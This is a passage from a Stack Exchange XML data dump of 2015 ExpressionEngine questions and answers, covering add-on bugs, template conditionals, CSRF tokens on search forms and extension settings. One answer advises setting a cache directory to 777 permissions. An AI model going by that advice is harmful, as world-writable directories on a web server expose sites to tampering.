$event['notify_on_registration'] : NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod.moreevents.php:54, 57, 79, 108, 111, 228, 415, 525&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;remove_double_slashes($next_page .&quot;/&quot;.$event_tx_id)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (version_compare(APP_VER, '2.6', '&amp;gt;=')) {&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('string');&#xA;    $sFixedslashes = reduce_double_slashes($next_page .&quot;/&quot;.$event_tx_id);&#xA;} else {&#xA;    $sFixedslashes = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;remove_double_slashes($next_page .&quot;/&quot;.$event_tx_id);&#xA;}&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url($sFixedslashes));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or for only &gt;= 2.6 support:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('string');&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url(reduce_double_slashes($next_page .&quot;/&quot;.$event_tx_id)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FINAL EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a &lt;a href=&quot;https://gist.github.com/engram-design/8948a5cd9460323c2836&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt; of all the fixes and files so you can simply copy/paste to have them fully working. Any new issues I find will be updated in the Gist.&lt;/p&gt;&#xA;" OwnerUserId="3778" LastEditorUserId="3778" LastEditDate="2015-01-30T23:46:48.860" LastActivityDate="2015-01-30T23:46:48.860" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="28377" PostTypeId="2" ParentId="28365" CreationDate="2015-01-12T12:42:44.373" Score="0" Body="&lt;p&gt;Solspace replied with their support ticket. Here is what they wrote:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Having all site's fields in Composer indeed complicates things if field labels are the same across multiple sites. This was mentioned by other users, and I added your voice to the bug report about this. Unfortunately we can't provide an ETA for bug fixes/feature additions.&lt;/p&gt;&#xA;&lt;p&gt;As for using the same field_shortnames in different sites, I don't know if Freeform's current data architecture can handle that, but I filed a feature request for it in any case :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="646" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-01-12T12:42:44.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28379" PostTypeId="1" AcceptedAnswerId="28381" CreationDate="2015-01-12T14:22:18.597" Score="0" ViewCount="29" Body="&lt;p&gt;I would like to rotate between two entries each hour depending on the time of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2015-01-12T15:28:18.517" Title="Rotate entry every hour" Tags="|channel-entries|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28380" PostTypeId="1" AcceptedAnswerId="28415" CreationDate="2015-01-12T14:41:09.523" Score="1" ViewCount="87" Body="&lt;p&gt;I'm using the standard tell-a-friend code from the EE Docs. Where do I find the &quot;thank you&quot; page template that comes up after emailing an entry using the tell-a-friend tag? I'd like to style it to look like the rest of my site.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastActivityDate="2015-01-13T15:19:09.627" Title="How do I customize the tell-a-friend &quot;thank you&quot; template?" Tags="|tell-a-friend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28381" PostTypeId="2" ParentId="28379" CreationDate="2015-01-12T15:28:18.517" Score="1" Body="&lt;p&gt;You could use the expressionengine current time variable in a conditional &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%G&quot;} &amp;lt; 12}&#xA;   {exp:channel:entries url_title=&quot;morning&quot;}&#xA;      ...&#xA;   {/exp:channel:entries}&#xA;{if:else}&#xA;   {exp:channel:entries url_title=&quot;evening&quot;}&#xA;      ...&#xA;   {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-12T15:28:18.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28382" PostTypeId="5" CreationDate="2015-01-12T15:51:41.110" Score="0" Body="&lt;p&gt;PDF Press is a third-party add-on used to create PDFs from ExpressionEngine templates. It uses the open source library dompdf to convert HTML &amp;amp; CSS to PDF documents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official &lt;a href=&quot;https://devot-ee.com/add-ons/support/pdf-press/viewforum/2182&quot; rel=&quot;nofollow&quot;&gt;support thread can be found on Devot:ee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2015-01-12T18:02:48.533" LastActivityDate="2015-01-12T18:02:48.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28383" PostTypeId="4" CreationDate="2015-01-12T15:51:41.110" Score="0" Body="PDF Press is a third-party add on for ExpressionEngine" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2015-01-12T18:03:21.567" LastActivityDate="2015-01-12T18:03:21.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28384" PostTypeId="1" CreationDate="2015-01-12T17:24:49.023" Score="0" ViewCount="161" Body="&lt;p&gt;I have a conditional statement that checks if anything is selected in a nested Playa field.  It worked in EE 2.8.1 but upon upgrading to EE 2.9.2 a parse error occurs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an invalid conditional in your template. Please review your&#xA;  conditionals for an unclosed string, invalid operators, a missing },&#xA;  or a missing {/if}.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parser State: Unexpected end of Template “site/.wrapper_page” on line&#xA;  2; expected ENDIF tag for opening on line 1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The offending conditional statement is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:playa:children channel=&quot;sidebar_portlets&quot; var_prefix=&quot;sidebar&quot;}{sidebar:sidebar-text}{/exp:playa:children}' }&#xA;   Do Stuff&#xA;{if:else}&#xA;   Do other stuff&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried alternating the use of single and double quotes, as well as escaping the interior quotes with a &quot;\&quot; as suggested in the EE docs, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any suggestions people may have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth, this conditional starts on line 122 of the template, not line 1 as reported in the parse error above.  Not sure if that matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4931" LastActivityDate="2017-08-16T16:04:47.287" Title="Conditional based on content of a nested Playa field works in 2.8.1 but breaks in 2.9.2" Tags="|ee2|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28385" PostTypeId="2" ParentId="28335" CreationDate="2015-01-12T17:41:25.360" Score="0" Body="&lt;p&gt;Credits 2.5.4 fixes this issue.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2015-01-12T17:41:25.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28386" PostTypeId="2" ParentId="28365" CreationDate="2015-01-12T17:56:44.803" Score="0" Body="&lt;p&gt;Having your Freeform fields work across all MSM sites is doable. You just need to enable (check) the &lt;em&gt;&quot;Show Data from All Sites&quot;&lt;/em&gt; setting in the Freeform &lt;strong&gt;Preferences&lt;/strong&gt; tab in the EE CP. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, there are a couple of bugs that are allowing you to experience the behaviour you're seeing. We have a new version of Freeform coming out in the next few days that will correct that (but the former part of this answer should still remain true and work for you now). :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-12T17:56:44.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28387" PostTypeId="1" AcceptedAnswerId="28388" CreationDate="2015-01-12T20:06:32.997" Score="0" ViewCount="194" Body="&lt;p&gt;I am trying to prefix today's (blog)posts with &quot;Today&quot;. So that it would read:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Today, January 12, 2015&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From tomorrow on the prefix should not be displayed anymore. I want to achieve an eyecachting effect for the latests posts like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into EE's relative dates but nothing outputs exactly what I need and I don't know how to stop it after today either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody achieved this in the past. Seems to be a pretty basic thing actually...&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2015-01-12T20:32:43.063" Title="Display relative date just for today, with &quot;today&quot; as prefix" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28388" PostTypeId="2" ParentId="28387" CreationDate="2015-01-12T20:32:43.063" Score="2" Body="&lt;p&gt;You could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{entry_date format=&quot;%Y%m%d&quot;}' == '{current_time format=&quot;%Y%m%d&quot;}'}Today, {/if}{entry_date format=&quot;%F %j, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-12T20:32:43.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28389" PostTypeId="1" AcceptedAnswerId="28400" CreationDate="2015-01-12T21:34:52.920" Score="1" ViewCount="238" Body="&lt;p&gt;I am trying to get google analytics site search to pull results submitted through my site's super search.  I saw &lt;a href=&quot;http://www.solspace.com/blog/entry/super_search_to_track_site_search_in_google_analytics/&quot; rel=&quot;nofollow&quot;&gt;a post in the forums&lt;/a&gt; that I am supposed to change my form action from &quot;post&quot; to &quot;get&quot;. This appears to be working as it creates the &quot;?&quot; that GA seems to depend on, however the url is pretty nasty with the XID=1232321 included.   Is this XID necessary, or is there a way to remove this? If so, how would I remove it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;current url&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/results?XID=25454320fc0a3329123123f8d496b5591fb4add&amp;amp;keywords=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;preferred url exmple&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/results?keywords=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any information you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;search&quot;&amp;gt;&#xA;    &amp;lt;form method=&quot;get&quot; action=&quot;{path=search/results}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Search&quot; class=&quot;typeahead&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;hidden-submit&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="902" LastEditorUserId="902" LastEditDate="2015-01-13T16:13:34.907" LastActivityDate="2015-01-13T16:13:34.907" Title="Can I remove XID param from super search 'get' url?" Tags="|solspace|supersearch|google-analytics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28390" PostTypeId="1" CreationDate="2015-01-12T22:06:18.147" Score="3" ViewCount="1500" Body="&lt;p&gt;I'm having trouble on an install of EE 2.8.1. This is the first time I've seen this php error, and it bugs me. It doesn't seem to be causing any real problems, but it messes up the font sizes on the CP. Any ideas on what may be causing this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: file_get_contents(/chroot/home/---/---/system/expressionengine/cache/current_version): failed to open stream: Permission denied&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: drivers/Cache_file.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 74&lt;/p&gt;&#xA;" OwnerUserId="3412" LastActivityDate="2015-01-12T22:27:29.817" Title="PHP warning at the top of CP that I cannot fix" Tags="|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28391" PostTypeId="2" ParentId="28390" CreationDate="2015-01-12T22:27:29.817" Score="4" Body="&lt;p&gt;Check that your cache directory's permissions are set to 777 so that it's fully readable/writeable.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-12T22:27:29.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28392" PostTypeId="1" CreationDate="2015-01-12T22:33:29.193" Score="1" ViewCount="57" Body="&lt;p&gt;I am developing an EE extension and everything was working fine and I thought I was done.  So I uninstalled the extension and re-installed it to testing everything.  It uninstalled fine and re-installed fine but now when I submit the settings in the control panel I get a blank white page with no error of any kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the apache error log and there is nothing is the error log.  I have installed it on a clean install of EE and same thing. Anyone have any suggestions on how to track the problem down? &lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2358" LastEditDate="2015-01-13T00:58:25.720" LastActivityDate="2015-01-13T06:37:30.557" Title="blank page when saving extension settings" Tags="|control-panel|error|extension|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28393" PostTypeId="1" CreationDate="2015-01-12T23:15:38.003" Score="0" ViewCount="45" Body="&lt;p&gt;I'm setting up Multi-Site for ExpressionEngine and when I go to manage my files in the P&amp;amp;T Assets plugin, nothing shows up. The refresh icon just spins. Even when I create a new upload destination within the folder of the second site, I get nothing. Updating the index just makes the button transparent like something is happening, but nothing does.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2015-01-12T23:15:38.003" Title="Assets not showing up for second site" Tags="|assets|multi-site-manager|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28394" PostTypeId="1" CreationDate="2015-01-13T01:11:26.827" Score="0" ViewCount="148" Body="&lt;p&gt;I've built a plugin that runs on a page &amp;amp; pulls data from a get variable in the URL.  Page URIs look like '/page&amp;amp;foo=bar'.  That's working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also built pagination into my plugin, since I have some large datasets outputting.  That also works perfectly on it's own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I have a Get variable in the URL my pagination links don't account for it.  Is there a trick to getting an add-on to recognize Get variables in the URL?  I can provide some example code if needed, but I suspect there's something obvious I'm missing here.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2015-05-13T13:19:01.277" Title="Pagination while Get Variables in URL" Tags="|add-on|module|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28395" PostTypeId="2" ParentId="28392" CreationDate="2015-01-13T01:13:04.483" Score="1" Body="&lt;p&gt;I finally tracked this down and posting my findings here so in case anyone else runs into this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom settings for my extension and in the settings_form.php file there is this line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;file&quot; value=&quot;&amp;lt;?=$name?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently at some point I deleted a character out of the name field so it was fil instead of file like so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;fil&quot; value=&quot;&amp;lt;?=$name?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this caused the blank page when saving the extension settings.  In the file system/expressionengine/controllers/cp/addons_extensions.php in thew function save_extension_settings in fails this check&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;input-&amp;gt;get_post('file') === FALSE OR ! preg_match(&quot;/^[a-z0-9][\w.-]*$/i&quot;,$this-&amp;gt;input-&amp;gt;get_post('file')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns false and you get the blank white page.  Shouldn't this show some kind of error message instead?  Seems like a bug in EE to me.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2358" LastEditDate="2015-01-13T06:37:30.557" LastActivityDate="2015-01-13T06:37:30.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28397" PostTypeId="2" ParentId="28358" CreationDate="2015-01-13T02:26:55.503" Score="0" Body="&lt;p&gt;Why not just the mighty Low's Yearly Archive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-yearly-archives&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the looks of what you're trying to do it could work without using php in your templates. You'll then want to write conditionals using his tag pairs to check which month you're in. Should be pretty straightforward.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-13T02:26:55.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28398" PostTypeId="2" ParentId="28355" CreationDate="2015-01-13T03:25:02.163" Score="0" Body="&lt;p&gt;Exp-resso Store only extends ExpressionEngine, so you can add all the fields you want. If those attributes effect price or need to be part of a custom order, you would add them as attributes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again this can be done through ExpressionEngine for just showing content. If you need this to pass through as Attributes you can do so as well. You can create as many variation groups with options as you wish.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-01-13T03:25:02.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28399" PostTypeId="2" ParentId="28359" CreationDate="2015-01-13T07:57:37.877" Score="0" Body="&lt;p&gt;You're using &lt;code&gt;return&lt;/code&gt; before &lt;code&gt;die&lt;/code&gt;, which means your PHP script will see &lt;code&gt;return&lt;/code&gt; then stop, and never see the &lt;code&gt;die&lt;/code&gt; command. Try &lt;code&gt;echo 'working'; die();&lt;/code&gt; or even simply &lt;code&gt;die('working');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-13T07:57:37.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28400" PostTypeId="2" ParentId="28389" CreationDate="2015-01-13T08:10:21.547" Score="4" Body="&lt;p&gt;The &lt;code&gt;XID&lt;/code&gt; (&lt;code&gt;csrf_token&lt;/code&gt; in EE 2.8+) is used in POST forms to secure form submissions. A quick test shows that the XID isn't required for GET form submissions, so you can remove this from your GET form without running into issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;code&gt;{exp:super_search:search}&lt;/code&gt; in your search form, the XID field is provided for you (it's a hidden field), and the only way to get rid of it is to turn off secure forms in EE. &lt;strong&gt;However, this is not recommended to disable secure forms in EE as this disables secure forms for all forms on your site (from 3rd-parties or native EE)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other solution is to keep secure forms enabled in EE, and to &lt;strong&gt;not&lt;/strong&gt; use &lt;code&gt;{exp:super_search:search}&lt;/code&gt;: it's not required for the functioning of the search form. If your form was a POST form, you would need to add the following field in your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if your form is a GET form, you don't need to add this field, and search should run fine and without throwing any errors about a missing XID.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-13T08:10:21.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28401" PostTypeId="1" AcceptedAnswerId="28437" CreationDate="2015-01-13T08:26:51.090" Score="0" ViewCount="85" Body="&lt;p&gt;I have a site running Solspace Calendar and am having trouble displaying certain occurrences that have been edited by my client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 'event2' template displays properly for one-off events as well as recurring events where an occurrence has not been altered. But when my client edits a specific occurrence of a recurring event (like a promotional image or adding a different price, for example), the {exp:calendar:occurrences} tag does not return ANY information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Example of one-off event displaying correctly: &lt;a href=&quot;http://clubomgsf.com/calendar/event2/cake/2015/01/16/&quot; rel=&quot;nofollow&quot;&gt;http://clubomgsf.com/calendar/event2/cake/2015/01/16/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Example of recurring event whose occurrence has not been edited after creating the recurring event: &lt;a href=&quot;http://clubomgsf.com/calendar/event2/nsa1/2015/01/13/&quot; rel=&quot;nofollow&quot;&gt;http://clubomgsf.com/calendar/event2/nsa1/2015/01/13/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Example of a recurring event whose occurrence has been edited and thusly &lt;strong&gt;does not return any data&lt;/strong&gt;: &lt;a href=&quot;http://clubomgsf.com/calendar/event2/nsa5/2015/01/06&quot; rel=&quot;nofollow&quot;&gt;http://clubomgsf.com/calendar/event2/nsa5/2015/01/06&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason why creating an occurrence is breaking this loop? If so, what is the proper or alternate way to display each of these types of occurrences? I appreciate any insight that you guys can provide!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt from 'event2' template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences&#xA;            event_name=&quot;{segment_3}&quot;&#xA;            date_range_start=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;            date_range_end=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;            show_days=&quot;1&quot;&#xA;            }&#xA;&#xA;&#xA;&#xA;            &amp;lt;div id=&quot;event-header&quot; style=&quot;background-image:url('{event_image}')&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;img id=&quot;event-poster&quot; src=&quot;{event_image}&quot; /&amp;gt;&#xA;            &amp;lt;div id=&quot;event-infobox&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                &amp;lt;!-- FACEBOOK SHARE DIALOGUE --&amp;gt;&#xA;                &amp;lt;a href=&quot;javascript:fbShare('{current_url}', '{title}', '', '{event_image}', 520, 350)&quot;&amp;gt;&#xA;                    &amp;lt;img class=&quot;f-icon&quot; src=&quot;{site_url}website-images/static-information/facebook.png&quot; /&amp;gt;&#xA;&#xA;                &amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;!-- TWITTER SHARE DIALOGUE --&amp;gt;&#xA;                &amp;lt;a href=&quot;javascript:twitterShare('https://twitter.com/share?', 520, 350)&quot;&amp;gt;&#xA;                    &amp;lt;img class=&quot;f-icon&quot; src=&quot;{site_url}website-images/static-information/twitter.png&quot; /&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&#xA;                {if subheader}&amp;lt;div id=&quot;event-subheader&quot;&amp;gt;{subheader}&amp;lt;/div&amp;gt;{/if}&#xA;                &amp;lt;span id=&quot;event-name&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&#xA;                &amp;lt;br /&amp;gt;&amp;lt;div style=&quot;margin-top:-6px&quot;&amp;gt;&amp;lt;small&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;span id=&quot;event-date&quot;&amp;gt;{exp:stash:get name=&quot;month&quot; random} {segment_6}, {segment_4}&amp;lt;/span&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                    &amp;lt;div id=&quot;event-price&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;event-dolla&quot;&amp;gt;&#xA;                            {if price}${price}&amp;lt;/span&amp;gt;&#xA;                        {if:else}Free{/if}&#xA;                        &amp;lt;span class=&quot;event-priceinfo&quot;&amp;gt;{price_info}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                        {if ticket_options}&#xA;                        {ticket_options search:buy_status=&quot;=not inactive&quot;}&#xA;                            &amp;lt;a href=&quot;{ticket_options:buy_link}&quot;&amp;gt;&amp;lt;button class=&quot;owhole&quot; style=&quot;margin-top: 6px;&quot;&amp;gt;{ticket_options:buy_text}&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {/ticket_options}&#xA;                        {/if}&#xA;&#xA;                        &amp;lt;div id=&quot;event-summary&quot;&amp;gt;{event_summary}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:calendar:occurrences}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2015-01-13T22:37:05.963" LastActivityDate="2016-05-28T11:09:07.417" Title="Trouble with occurrences loop when client edits a specific occurrence for a recurring event" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28402" PostTypeId="1" AcceptedAnswerId="28414" CreationDate="2015-01-13T09:33:07.523" Score="0" ViewCount="32" Body="&lt;p&gt;I've got an extension that is using the member_delete hook which checks a specific entry field for the deleted member's ID and removes it if found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working fine (field cleared of member ID) and I am shown the EE message saying that the member has been deleted however when I view the member list the member still remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read question &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12127/cancelling-member-deletion-in-member-delete-hook-handler&quot;&gt;Cancelling member deletion in member_delete hook handler&lt;/a&gt; and it says that you need to return an array of member_ids for it to continue. I've done just that but it doesn't appear to be doing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function del_client_check($member_ids) {&#xA;    $cleared_entries = array();&#xA;&#xA;    $member_id = $member_ids[0];&#xA;&#xA;    $field['m_client'] = $this-&amp;gt;settings['client_field'];&#xA;    $field['e_client'] = $this-&amp;gt;settings['e_client_field'];&#xA;    $m_field = $this-&amp;gt;settings['member_field'];&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id, ' . $m_field . '');&#xA;    $entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get('channel_data')-&amp;gt;result_array();&#xA;&#xA;    foreach ($entries as $entry) {&#xA;        if ($entry[$m_field] != '') {&#xA;            $members = explode('|', $entry[$m_field]);&#xA;&#xA;            if (($key = array_search($member_id, $members)) !== false) {&#xA;                unset($members[$key]);&#xA;&#xA;                $entry[$m_field] = implode('|', $members);&#xA;                $cleared_entries[] = $entry;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    if (!empty($cleared_entries)) {&#xA;        $this-&amp;gt;entry_update_del($cleared_entries, $member_id);&#xA;    } else {&#xA;        return $member_ids;&#xA;    }&#xA;}&#xA;&#xA;function entry_update_del($entries, $member_id) {&#xA;    $member_ids = array();&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update_batch('channel_data', $entries, 'entry_id');&#xA;    $member_ids[0] = $member_id;&#xA;    return $member_ids;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just a note, in the entry_update_del function I am setting &lt;code&gt;$member_ids[0]&lt;/code&gt; to &lt;code&gt;$member_id&lt;/code&gt;. There is always only going to be 1 member deleted at a 